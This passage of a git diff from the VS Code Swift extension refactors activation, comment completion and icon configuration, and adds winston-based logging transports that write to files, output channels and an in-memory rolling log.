this.docCommentCompletion = new DocCommentCompletionProvider(); + this.docCommentCompletionProvider = vscode.languages.registerCompletionItemProvider( + "swift", + this.docCommentCompletion, + "\n" + ); + } + + /** + * Insert function header comment text snippet + * @param editor text editor to edit + * @param line line number of function + */ + async insert(editor: vscode.TextEditor, line: number) { + await this.functionCommentCompletion.insert(editor, line); + } + + dispose() { + this.functionCommentCompletionProvider.dispose(); + this.docCommentCompletionProvider.dispose(); + } } diff --git a/src/editor/DocumentParser.ts b/src/editor/DocumentParser.ts index 286838699..d91721c82 100644 --- a/src/editor/DocumentParser.ts +++ b/src/editor/DocumentParser.ts @@ -1,25 +1,27 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; /** - * Parse VSCode TextDocuments using regular expressions. + * Parse VS Code TextDocuments using regular expressions. * Inspiration for this code came from https://github.com/fappelman/swift-add-documentation */ export class DocumentParser { - constructor(readonly document: vscode.TextDocument, private position: vscode.Position) {} + constructor( + readonly document: vscode.TextDocument, + private position: vscode.Position + ) {} /** * Match regular expression at current position in document. Move position to just diff --git a/src/extension.ts b/src/extension.ts index abdb51366..cd2727ca4 100644 --- a/src/extension.ts +++ b/src/extension.ts @@ -1,138 +1,314 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021-2022 the VSCode Swift project authors +// Copyright (c) 2021-2023 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// +// Use source-map-support to get better stack traces +import "source-map-support/register"; import * as vscode from "vscode"; + +import { FolderContext } from "./FolderContext"; +import { TestExplorer } from "./TestExplorer/TestExplorer"; +import { FolderEvent, FolderOperation, WorkspaceContext } from "./WorkspaceContext"; import * as commands from "./commands"; +import { resolveFolderDependencies } from "./commands/dependencies/resolve"; +import { registerSourceKitSchemaWatcher } from "./commands/generateSourcekitConfiguration"; +import configuration, { handleConfigurationChangeEvent } from "./configuration"; +import { ContextKeys, createContextKeys } from "./contextKeys"; +import { registerDebugger } from "./debugger/debugAdapterFactory"; import * as debug from "./debugger/launch"; -import { PackageDependenciesProvider } from "./ui/PackageDependencyProvider"; -import * as commentCompletion from "./editor/CommentCompletion"; -import { SwiftTaskProvider } from "./SwiftTaskProvider"; -import { FolderEvent, WorkspaceContext } from "./WorkspaceContext"; -import { TestExplorer } from "./TestExplorer/TestExplorer"; +import { SwiftLogger } from "./logging/SwiftLogger"; +import { SwiftLoggerFactory } from "./logging/SwiftLoggerFactory"; +import { SwiftEnvironmentVariablesManager, SwiftTerminalProfileProvider } from "./terminal"; +import { SelectedXcodeWatcher } from "./toolchain/SelectedXcodeWatcher"; +import { checkForSwiftlyInstallation } from "./toolchain/swiftly"; +import { SwiftToolchain } from "./toolchain/toolchain"; import { LanguageStatusItems } from "./ui/LanguageStatusItems"; +import { getReadOnlyDocumentProvider } from "./ui/ReadOnlyDocumentProvider"; +import { showToolchainError } from "./ui/ToolchainSelection"; +import { checkAndWarnAboutWindowsSymlinks } from "./ui/win32"; import { getErrorDescription } from "./utilities/utilities"; -import { SwiftPluginTaskProvider } from "./SwiftPluginTaskProvider"; +import { Version } from "./utilities/version"; /** * External API as exposed by the extension. Can be queried by other extensions - * or by the integration test runner for VSCode extensions. + * or by the integration test runner for VS Code extensions. */ export interface Api { - workspaceContext: WorkspaceContext; + workspaceContext?: WorkspaceContext; + logger: SwiftLogger; + activate(): Promise; + deactivate(): Promise; } /** * Activate the extension. This is the main entry point. */ export async function activate(context: vscode.ExtensionContext): Promise { + const activationStartTime = Date.now(); try { - console.debug("Activating Swift for Visual Studio Code..."); + const logSetupStartTime = Date.now(); + const logger = configureLogging(context); + const logSetupElapsed = Date.now() - logSetupStartTime; + logger.info( + `Activating Swift for Visual Studio Code ${context.extension.packageJSON.version}...` + ); + logger.info(`Log setup completed in ${logSetupElapsed}ms`); + + const preToolchainStartTime = Date.now(); + checkAndWarnAboutWindowsSymlinks(logger); + + const contextKeys = createContextKeys(); + const preToolchainElapsed = Date.now() - preToolchainStartTime; + const toolchainStartTime = Date.now(); + const toolchain = await createActiveToolchain(context, contextKeys, logger); + const toolchainElapsed = Date.now() - toolchainStartTime; + + const swiftlyCheckStartTime = Date.now(); + checkForSwiftlyInstallation(contextKeys, logger); + const swiftlyCheckElapsed = Date.now() - swiftlyCheckStartTime; - const workspaceContext = await WorkspaceContext.create(); + // If we don't have a toolchain, show an error and stop initializing the extension. + // This can happen if the user has not installed Swift or if the toolchain is not + // properly configured. + if (!toolchain) { + // In order to select a toolchain we need to register the command first. + const subscriptions = commands.registerToolchainCommands(undefined, logger); + const chosenRemediation = await showToolchainError(); + subscriptions.forEach(sub => sub.dispose()); + // If they tried to fix the improperly configured toolchain, re-initialize the extension. + if (chosenRemediation) { + return activate(context); + } else { + return { + workspaceContext: undefined, + logger, + activate: () => activate(context), + deactivate: async () => { + await deactivate(context); + }, + }; + } + } + + const workspaceContextStartTime = Date.now(); + const workspaceContext = new WorkspaceContext(context, contextKeys, logger, toolchain); context.subscriptions.push(workspaceContext); + const workspaceContextElapsed = Date.now() - workspaceContextStartTime; + + const subscriptionsStartTime = Date.now(); + context.subscriptions.push(new SwiftEnvironmentVariablesManager(context)); + context.subscriptions.push(SwiftTerminalProfileProvider.register()); + context.subscriptions.push( + ...commands.registerToolchainCommands(workspaceContext, workspaceContext.logger) + ); - // setup swift version of LLDB. Don't await on this as it can run in the background - workspaceContext.setLLDBVersion(); + // Watch for configuration changes the trigger a reload of the extension if necessary. + context.subscriptions.push( + vscode.workspace.onDidChangeConfiguration( + handleConfigurationChangeEvent(workspaceContext) + ) + ); - // listen for workspace folder changes and active text editor changes - workspaceContext.setupEventListeners(); + context.subscriptions.push(...commands.register(workspaceContext)); + context.subscriptions.push(registerDebugger(workspaceContext)); + context.subscriptions.push(new SelectedXcodeWatcher(logger)); // Register task provider. - const taskProvider = vscode.tasks.registerTaskProvider( - "swift", - new SwiftTaskProvider(workspaceContext) + context.subscriptions.push( + vscode.tasks.registerTaskProvider("swift", workspaceContext.taskProvider) ); + // Register swift plugin task provider. - const pluginTaskProvider = vscode.tasks.registerTaskProvider( - "swift-plugin", - new SwiftPluginTaskProvider(workspaceContext) + context.subscriptions.push( + vscode.tasks.registerTaskProvider("swift-plugin", workspaceContext.pluginProvider) ); - commands.register(workspaceContext); - const commentCompletionProvider = commentCompletion.register(); + // Register the language status bar items. + context.subscriptions.push(new LanguageStatusItems(workspaceContext)); - const languageStatusItem = new LanguageStatusItems(workspaceContext); + // swift module document provider + context.subscriptions.push(getReadOnlyDocumentProvider()); // observer for logging workspace folder addition/removal - const logObserver = workspaceContext.observeFolders((folderContext, event) => { - workspaceContext.outputChannel.log( - `${event}: ${folderContext?.folder.fsPath}`, - folderContext?.name - ); - }); + context.subscriptions.push( + workspaceContext.onDidChangeFolders(({ folder, operation }) => { + logger.info(`${operation}: ${folder?.folder.fsPath}`, folder?.name); + }) + ); - // dependency view - const dependenciesProvider = new PackageDependenciesProvider(workspaceContext); - const dependenciesView = vscode.window.createTreeView("packageDependencies", { - treeDataProvider: dependenciesProvider, + // project panel provider + const dependenciesView = vscode.window.createTreeView("projectPanel", { + treeDataProvider: workspaceContext.projectPanel, showCollapseAll: true, }); - dependenciesProvider.observeFolders(dependenciesView); + workspaceContext.projectPanel.observeFolders(dependenciesView); + + context.subscriptions.push(dependenciesView); // observer that will resolve package and build launch configurations - const resolvePackageObserver = workspaceContext.observeFolders(async (folder, event) => { - if (!folder) { - return; + context.subscriptions.push(workspaceContext.onDidChangeFolders(handleFolderEvent(logger))); + context.subscriptions.push(TestExplorer.observeFolders(workspaceContext)); + + context.subscriptions.push(registerSourceKitSchemaWatcher(workspaceContext)); + const subscriptionsElapsed = Date.now() - subscriptionsStartTime; + + // setup workspace context with initial workspace folders + const workspaceFoldersStartTime = Date.now(); + await workspaceContext.addWorkspaceFolders(); + const workspaceFoldersElapsed = Date.now() - workspaceFoldersStartTime; + + const finalStepsStartTime = Date.now(); + // Mark the extension as activated. + contextKeys.isActivated = true; + const finalStepsElapsed = Date.now() - finalStepsStartTime; + + const totalActivationTime = Date.now() - activationStartTime; + logger.info( + `Extension activation completed in ${totalActivationTime}ms (log-setup: ${logSetupElapsed}ms, pre-toolchain: ${preToolchainElapsed}ms, toolchain: ${toolchainElapsed}ms, swiftly-check: ${swiftlyCheckElapsed}ms, workspace-context: ${workspaceContextElapsed}ms, subscriptions: ${subscriptionsElapsed}ms, workspace-folders: ${workspaceFoldersElapsed}ms, final-steps: ${finalStepsElapsed}ms)` + ); + + return { + workspaceContext, + logger, + activate: () => activate(context), + deactivate: async () => { + await workspaceContext.stop(); + await deactivate(context); + }, + }; + } catch (error) { + const errorMessage = getErrorDescription(error); + // show this error message as the VS Code error message only shows when running + // the extension through the debugger + void vscode.window.showErrorMessage(`Activating Swift extension failed: ${errorMessage}`); + throw error; + } +} + +function configureLogging(context: vscode.ExtensionContext) { + // Create log directory asynchronously but don't await it to avoid blocking activation + const logDirPromise = vscode.workspace.fs.createDirectory(context.logUri); + + const logger = new SwiftLoggerFactory(context.logUri).create( + "Swift", + "swift-vscode-extension.log" + ); + context.subscriptions.push(logger); + + void Promise.resolve(logDirPromise) + .then(() => { + // File transport will be added when directory is ready + }) + .catch((error: unknown) => { + logger.warn(`Failed to create log directory: ${error}`); + }); + return logger; +} + +function handleFolderEvent(logger: SwiftLogger): (event: FolderEvent) => Promise { + // function called when a folder is added. I broke this out so we can trigger it + // without having to await for it. + async function folderAdded(folder: FolderContext, workspace: WorkspaceContext) { + if ( + !configuration.folder(folder.workspaceFolder).disableAutoResolve || + configuration.backgroundCompilation.enabled + ) { + // if background compilation is set then run compile at startup unless + // this folder is a sub-folder of the workspace folder. This is to avoid + // kicking off compile for multiple projects at the same time + if ( + configuration.backgroundCompilation.enabled && + folder.workspaceFolder.uri === folder.folder + ) { + await folder.backgroundCompilation.runTask(); + } else { + await resolveFolderDependencies(folder, true); } - switch (event) { - case FolderEvent.add: - case FolderEvent.packageUpdated: - // Create launch.json files based on package description. - debug.makeDebugConfigurations(folder); - if (folder.swiftPackage.foundPackage) { - await commands.resolveFolderDependencies(folder, true); - } - break; - case FolderEvent.resolvedUpdated: - if (folder.swiftPackage.foundPackage) { - await commands.resolveFolderDependencies(folder, true); + if (folder.toolchain.swiftVersion.isGreaterThanOrEqual(new Version(5, 6, 0))) { + void workspace.statusItem.showStatusWhileRunning( + `Loading Swift Plugins (${FolderContext.uriName(folder.workspaceFolder.uri)})`, + async () => { + await folder.loadSwiftPlugins(logger); + workspace.updatePluginContextKey(); + await folder.fireEvent(FolderOperation.pluginsUpdated); } + ); } - }); + } + } - const testExplorerObserver = TestExplorer.observeFolders(workspaceContext); + return async ({ folder, operation, workspace }) => { + if (!folder) { + return; + } - // setup workspace context with initial workspace folders - workspaceContext.addWorkspaceFolders(); + switch (operation) { + case FolderOperation.add: + // Create launch.json files based on package description, don't block execution. + void debug.makeDebugConfigurations(folder); - // Register any disposables for cleanup when the extension deactivates. - context.subscriptions.push( - resolvePackageObserver, - testExplorerObserver, - dependenciesView, - dependenciesProvider, - logObserver, - languageStatusItem, - commentCompletionProvider, - pluginTaskProvider, - taskProvider - ); + if (await folder.swiftPackage.foundPackage) { + // do not await for this, let packages resolve in parallel + void folderAdded(folder, workspace); + } + break; + + case FolderOperation.packageUpdated: + // Create launch.json files based on package description, don't block execution. + void debug.makeDebugConfigurations(folder); + + if ( + (await folder.swiftPackage.foundPackage) && + !configuration.folder(folder.workspaceFolder).disableAutoResolve + ) { + await resolveFolderDependencies(folder, true); + } + break; - return { workspaceContext }; + case FolderOperation.resolvedUpdated: + if ( + (await folder.swiftPackage.foundPackage) && + !configuration.folder(folder.workspaceFolder).disableAutoResolve + ) { + await resolveFolderDependencies(folder, true); + } + } + }; +} + +async function createActiveToolchain( + extension: vscode.ExtensionContext, + contextKeys: ContextKeys, + logger: SwiftLogger +): Promise { + try { + const toolchain = await SwiftToolchain.create(extension.extensionPath, undefined, logger); + toolchain.logDiagnostics(logger); + contextKeys.updateKeysBasedOnActiveVersion(toolchain.swiftVersion); + return toolchain; } catch (error) { - throw Error(getErrorDescription(error)); + logger.error(`Failed to discover Swift toolchain: ${error}`); + return undefined; } } -/** - * Deactivate the extension. - * - * Any disposables registered in `context.subscriptions` will be automatically - * disposed of, so there's nothing left to do here. - */ -export function deactivate() { - return; +async function deactivate(context: vscode.ExtensionContext): Promise { + const workspaceContext = (context.extension.exports as Api).workspaceContext; + if (workspaceContext) { + workspaceContext.contextKeys.isActivated = false; + } + context.subscriptions.forEach(subscription => subscription.dispose()); + context.subscriptions.length = 0; } diff --git a/src/icons/config.ts b/src/icons/config.ts new file mode 100644 index 000000000..c802482ff --- /dev/null +++ b/src/icons/config.ts @@ -0,0 +1,52 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +// New icons must be added to the package.json under the "icons" contribution +// point in order to be useable from within VS Code. +export const config: IconConfiguration = { + icons: { + "swift-icon": { codepoint: 0xe001, color: "#FA7343" }, + "swift-documentation": { codepoint: 0xe002 }, + "swift-documentation-preview": { codepoint: 0xe003 }, + }, +}; + +/** + * Config used by scripts/compile_icons.ts to generate the SVG icons and + * icon font file. + */ +export interface IconConfiguration { + icons: { + [key: string]: { + /** + * The codepoint at which to place the icon within the icon font. + */ + codepoint: number; + + /** + * The color to use for the resulting icon. Either a single color + * or colors for both light and dark themes. + * + * If no color is specified then a light and dark icon will be + * generated with default colors. + * + * Note: this does not affect the icon font at all. Only the + * standalone SVGs compiled into assets/icons can have colors. + */ + color?: IconColor; + }; + }; +} + +export type IconColor = string | { light: string; dark: string }; diff --git a/src/icons/swift-documentation-preview.svg b/src/icons/swift-documentation-preview.svg new file mode 100644 index 000000000..ebedbbaf8 --- /dev/null +++ b/src/icons/swift-documentation-preview.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/src/icons/swift-documentation.svg b/src/icons/swift-documentation.svg new file mode 100644 index 000000000..74975520c --- /dev/null +++ b/src/icons/swift-documentation.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/src/icons/swift-icon.svg b/src/icons/swift-icon.svg new file mode 100644 index 000000000..fff90328b --- /dev/null +++ b/src/icons/swift-icon.svg @@ -0,0 +1,4 @@ + + + + diff --git a/src/logging/FileTransport.ts b/src/logging/FileTransport.ts new file mode 100644 index 000000000..a51d7b7ed --- /dev/null +++ b/src/logging/FileTransport.ts @@ -0,0 +1,92 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs"; +import * as path from "path"; +import * as TransportType from "winston-transport"; + +// Compile error if don't use "require": https://github.com/swiftlang/vscode-swift/actions/runs/16529946578/job/46752753379?pr=1746 +// eslint-disable-next-line @typescript-eslint/no-require-imports +const Transport: typeof TransportType = require("winston-transport"); + +export class FileTransport extends Transport { + private fileHandle: fs.WriteStream | null = null; + private pendingLogs: string[] = []; + private isReady = false; + + constructor(private readonly filePath: string) { + super(); + this.initializeFile(); + } + + private initializeFile(): void { + try { + // Ensure the directory exists + const dir = path.dirname(this.filePath); + if (!fs.existsSync(dir)) { + fs.mkdirSync(dir, { recursive: true }); + } + + // Create write stream + this.fileHandle = fs.createWriteStream(this.filePath, { flags: "a" }); + + this.fileHandle.on("ready", () => { + this.isReady = true; + this.flushPendingLogs(); + }); + + this.fileHandle.on("error", error => { + // eslint-disable-next-line no-console + console.error(`FileTransport error: ${error}`); + this.isReady = false; + }); + } catch (error) { + // eslint-disable-next-line no-console + console.error(`Failed to initialize FileTransport: ${error}`); + this.isReady = false; + } + } + + private flushPendingLogs(): void { + if (this.fileHandle && this.pendingLogs.length > 0) { + for (const log of this.pendingLogs) { + this.fileHandle.write(log + "\n"); + } + this.pendingLogs = []; + } + } + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + public log(info: any, next: () => void): void { + // Get the formatted message from winston + const logMessage = info[Symbol.for("message")]; + + if (this.isReady && this.fileHandle) { + this.fileHandle.write(logMessage + "\n"); + } else { + // Buffer logs if file isn't ready yet + this.pendingLogs.push(logMessage); + } + + next(); + } + + public close(): void { + if (this.fileHandle) { + this.fileHandle.end(); + this.fileHandle = null; + } + this.isReady = false; + this.pendingLogs = []; + } +} diff --git a/src/logging/OutputChannelTransport.ts b/src/logging/OutputChannelTransport.ts new file mode 100644 index 000000000..eaa88d2d8 --- /dev/null +++ b/src/logging/OutputChannelTransport.ts @@ -0,0 +1,40 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; +import * as TransportType from "winston-transport"; + +// Compile error if don't use "require": https://github.com/swiftlang/vscode-swift/actions/runs/16529946578/job/46752753379?pr=1746 +// eslint-disable-next-line @typescript-eslint/no-require-imports +const Transport: typeof TransportType = require("winston-transport"); + +export class OutputChannelTransport extends Transport { + private appending: boolean = false; + + constructor(private readonly ouptutChannel: vscode.OutputChannel) { + super(); + } + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + public log(info: any, next: () => void): void { + const logMessage = this.appending ? info.message : info[Symbol.for("message")]; + if (info.append) { + this.ouptutChannel.append(logMessage); + this.appending = true; + } else { + this.ouptutChannel.appendLine(logMessage); + this.appending = false; + } + next(); + } +} diff --git a/src/logging/RollingLog.ts b/src/logging/RollingLog.ts new file mode 100644 index 000000000..f168137c4 --- /dev/null +++ b/src/logging/RollingLog.ts @@ -0,0 +1,80 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +export class RollingLog implements vscode.Disposable { + private _logs: (string | null)[]; + private startIndex: number = 0; + private endIndex: number = 0; + private logCount: number = 0; + + constructor(private maxLogs: number) { + this._logs = new Array(maxLogs).fill(null); + } + + public get logs(): string[] { + const logs: string[] = []; + for (let i = 0; i < this.logCount; i++) { + logs.push(this._logs[(this.startIndex + i) % this.maxLogs]!); + } + return logs; + } + + private incrementIndex(index: number): number { + return (index + 1) % this.maxLogs; + } + + dispose() { + this.clear(); + } + + clear() { + this._logs = new Array(this.maxLogs).fill(null); + this.startIndex = 0; + this.endIndex = 0; + this.logCount = 0; + } + + appendLine(log: string) { + // Writing to a new line that isn't the very first, increment the end index + if (this.logCount > 0) { + this.endIndex = this.incrementIndex(this.endIndex); + } + + // We're over the window size, move the start index + if (this.logCount === this.maxLogs) { + this.startIndex = this.incrementIndex(this.startIndex); + } else { + this.logCount++; + } + + this._logs[this.endIndex] = log; + } + + append(log: string) { + if (this.logCount === 0) { + this.logCount = 1; + } + const newLogLine = (this._logs[this.endIndex] ?? "") + log; + this._logs[this.endIndex] = newLogLine; + } + + replace(log: string) { + this._logs = new Array(this.maxLogs).fill(null); + this._logs[0] = log; + this.startIndex = 0; + this.endIndex = 1; + this.logCount = 1; + } +} diff --git a/src/logging/RollingLogTransport.ts b/src/logging/RollingLogTransport.ts new file mode 100644 index 000000000..519a79ce9 --- /dev/null +++ b/src/logging/RollingLogTransport.ts @@ -0,0 +1,37 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as TransportType from "winston-transport"; + +import { RollingLog } from "./RollingLog"; + +// Compile error if don't use "require": https://github.com/swiftlang/vscode-swift/actions/runs/16529946578/job/46752753379?pr=1746 +// eslint-disable-next-line @typescript-eslint/no-require-imports +const Transport: typeof TransportType = require("winston-transport"); + +export class RollingLogTransport extends Transport { + constructor(private rollingLog: RollingLog) { + super(); + this.level = "debug"; + } + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + public log(info: any, next: () => void): void { + if (info.append) { + this.rollingLog.append(info.message); + } else { + this.rollingLog.appendLine(info.message); + } + next(); + } +} diff --git a/src/logging/SwiftLogger.ts b/src/logging/SwiftLogger.ts new file mode 100644 index 000000000..ee29ee7d5 --- /dev/null +++ b/src/logging/SwiftLogger.ts @@ -0,0 +1,182 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; +import * as winston from "winston"; + +import configuration from "../configuration"; +import { IS_RUNNING_IN_DEVELOPMENT_MODE, IS_RUNNING_UNDER_TEST } from "../utilities/utilities"; +import { FileTransport } from "./FileTransport"; +import { OutputChannelTransport } from "./OutputChannelTransport"; +import { RollingLog } from "./RollingLog"; +import { RollingLogTransport } from "./RollingLogTransport"; + +// Winston work off of "any" as meta data so creating this +// type so we don't have to disable ESLint many times below +// eslint-disable-next-line @typescript-eslint/no-explicit-any +type LoggerMeta = any; +type LogMessageOptions = { append: boolean }; + +export class SwiftLogger implements vscode.Disposable { + private disposables: vscode.Disposable[] = []; + private logger: winston.Logger; + protected rollingLog: RollingLog; + protected outputChannel: vscode.OutputChannel; + private fileTransport: FileTransport; + private cachedOutputChannelLevel: string | undefined; + + constructor( + public readonly name: string, + public readonly logFilePath: string, + logStoreLinesSize: number = 250_000 // default to capturing 250k log lines + ) { + this.rollingLog = new RollingLog(logStoreLinesSize); + this.outputChannel = vscode.window.createOutputChannel(name); + const ouptutChannelTransport = new OutputChannelTransport(this.outputChannel); + ouptutChannelTransport.level = this.outputChannelLevel; + const rollingLogTransport = new RollingLogTransport(this.rollingLog); + + // Create file transport + this.fileTransport = new FileTransport(this.logFilePath); + this.fileTransport.level = "debug"; // File logging at the 'debug' level always + + // Create logger with all transports + const transports = [ + ouptutChannelTransport, + this.fileTransport, + // Only want to capture the rolling log in memory when testing + ...(IS_RUNNING_UNDER_TEST ? [rollingLogTransport] : []), + ...(IS_RUNNING_IN_DEVELOPMENT_MODE + ? [new winston.transports.Console({ level: "debug" })] + : []), + ]; + + this.logger = winston.createLogger({ + transports: transports, + format: winston.format.combine( + winston.format.errors({ stack: true }), + winston.format.timestamp({ format: "YYYY-MM-DD HH:mm:ss.SSS" }), // This is the format of `vscode.LogOutputChannel` + winston.format.printf(msg => { + return `${msg.timestamp} [${msg.level}] ${msg.message}${msg.stack ? ` ${msg.stack}` : ""}`; + }), + winston.format.colorize() + ), + }); + this.disposables.push( + { + dispose: () => { + this.logger.close(); + if (ouptutChannelTransport.close) { + ouptutChannelTransport.close(); + } + if (rollingLogTransport.close) { + rollingLogTransport.close(); + } + this.fileTransport.close(); + }, + }, + vscode.workspace.onDidChangeConfiguration(e => { + if ( + e.affectsConfiguration("swift.outputChannelLogLevel") || + e.affectsConfiguration("swift.diagnostics") + ) { + // Clear cache when configuration changes + this.cachedOutputChannelLevel = undefined; + ouptutChannelTransport.level = this.outputChannelLevel; + } + }) + ); + } + + debug(message: LoggerMeta, label?: string, options?: LogMessageOptions) { + const normalizedMessage = this.normalizeMessage(message, label); + this.logWithBuffer("debug", normalizedMessage, options); + } + + info(message: LoggerMeta, label?: string, options?: LogMessageOptions) { + const normalizedMessage = this.normalizeMessage(message, label); + this.logWithBuffer("info", normalizedMessage, options); + } + + warn(message: LoggerMeta, label?: string, options?: LogMessageOptions) { + const normalizedMessage = this.normalizeMessage(message, label); + this.logWithBuffer("warn", normalizedMessage, options); + } + + error(message: LoggerMeta, label?: string, options?: LogMessageOptions) { + if (message instanceof Error) { + this.logWithBuffer("error", message); + return; + } + const normalizedMessage = this.normalizeMessage(message, label); + this.logWithBuffer("error", normalizedMessage, options); + } + + private logWithBuffer(level: string, message: string | Error, meta?: LoggerMeta) { + // Log to all transports (output channel, file, console, etc.) + if (message instanceof Error) { + this.logger.log(level, message); + } else { + this.logger.log(level, message, meta); + } + } + + get logs(): string[] { + return this.rollingLog.logs; + } + + clear() { + this.outputChannel.clear(); + this.rollingLog.clear(); + } + + private normalizeMessage(message: LoggerMeta, label?: string) { + let fullMessage: string; + if (typeof message === "string") { + fullMessage = message; + } else { + try { + fullMessage = JSON.stringify(message); + } catch (e) { + fullMessage = `${message}`; + } + } + if (label !== undefined) { + fullMessage = `${label}: ${message}`; + } + return fullMessage; + } + + private get outputChannelLevel(): string { + // Cache the configuration lookup to avoid repeated expensive calls during initialization + if (this.cachedOutputChannelLevel === undefined) { + const info = vscode.workspace + .getConfiguration("swift") + .inspect("outputChannelLogLevel"); + // If the user has explicitly set `outputChannelLogLevel` then use it, otherwise + // check the deprecated `diagnostics` property + if (info?.globalValue || info?.workspaceValue || info?.workspaceFolderValue) { + this.cachedOutputChannelLevel = configuration.outputChannelLogLevel; + } else if (configuration.diagnostics) { + this.cachedOutputChannelLevel = "debug"; + } else { + this.cachedOutputChannelLevel = configuration.outputChannelLogLevel; + } + } + return this.cachedOutputChannelLevel; + } + + dispose() { + this.disposables.forEach(d => d.dispose()); + } +} diff --git a/src/logging/SwiftLoggerFactory.ts b/src/logging/SwiftLoggerFactory.ts new file mode 100644 index 000000000..a4f3fa2e8 --- /dev/null +++ b/src/logging/SwiftLoggerFactory.ts @@ -0,0 +1,47 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { join } from "path"; +import * as vscode from "vscode"; + +import { TemporaryFolder } from "../utilities/tempFolder"; +import { SwiftLogger } from "./SwiftLogger"; +import { SwiftOutputChannel } from "./SwiftOutputChannel"; + +export class SwiftLoggerFactory { + constructor(public readonly logFolderUri: vscode.Uri) {} + + create(name: string, logFilename: string): SwiftLogger; + create(name: string, logFilename: string, options: { outputChannel: true }): SwiftOutputChannel; + create( + name: string, + logFilename: string, + options: { outputChannel: boolean } = { outputChannel: false } + ): SwiftLogger { + return options?.outputChannel + ? new SwiftOutputChannel(name, this.logFilePath(logFilename)) + : new SwiftLogger(name, this.logFilePath(logFilename)); + } + + /** + * This is mainly only intended for testing purposes + */ + async temp(name: string): Promise { + const folder = await TemporaryFolder.create(); + return new SwiftLogger(name, join(folder.path, `${name}.log`)); + } + + private logFilePath(logFilename: string): string { + return join(this.logFolderUri.fsPath, logFilename); + } +} diff --git a/src/logging/SwiftOutputChannel.ts b/src/logging/SwiftOutputChannel.ts new file mode 100644 index 000000000..99fab8951 --- /dev/null +++ b/src/logging/SwiftOutputChannel.ts @@ -0,0 +1,47 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { SwiftLogger } from "./SwiftLogger"; + +export class SwiftOutputChannel extends SwiftLogger implements vscode.OutputChannel { + /** + * Creates a vscode.OutputChannel that allows for later retrieval of logs. + * @param name + */ + constructor(name: string, logFilePath: string, logStoreLinesSize?: number) { + super(name, logFilePath, logStoreLinesSize); + } + + append(value: string): void { + this.info(value, undefined, { append: true }); + } + + appendLine(value: string): void { + this.info(value); + } + + replace(value: string): void { + this.outputChannel.replace(value); + this.rollingLog.replace(value); + } + + show(_column?: unknown, preserveFocus?: boolean | undefined): void { + this.outputChannel.show(preserveFocus); + } + + hide(): void { + this.outputChannel.hide(); + } +} diff --git a/src/process-list/BaseProcessList.ts b/src/process-list/BaseProcessList.ts new file mode 100644 index 000000000..8586bf210 --- /dev/null +++ b/src/process-list/BaseProcessList.ts @@ -0,0 +1,58 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the 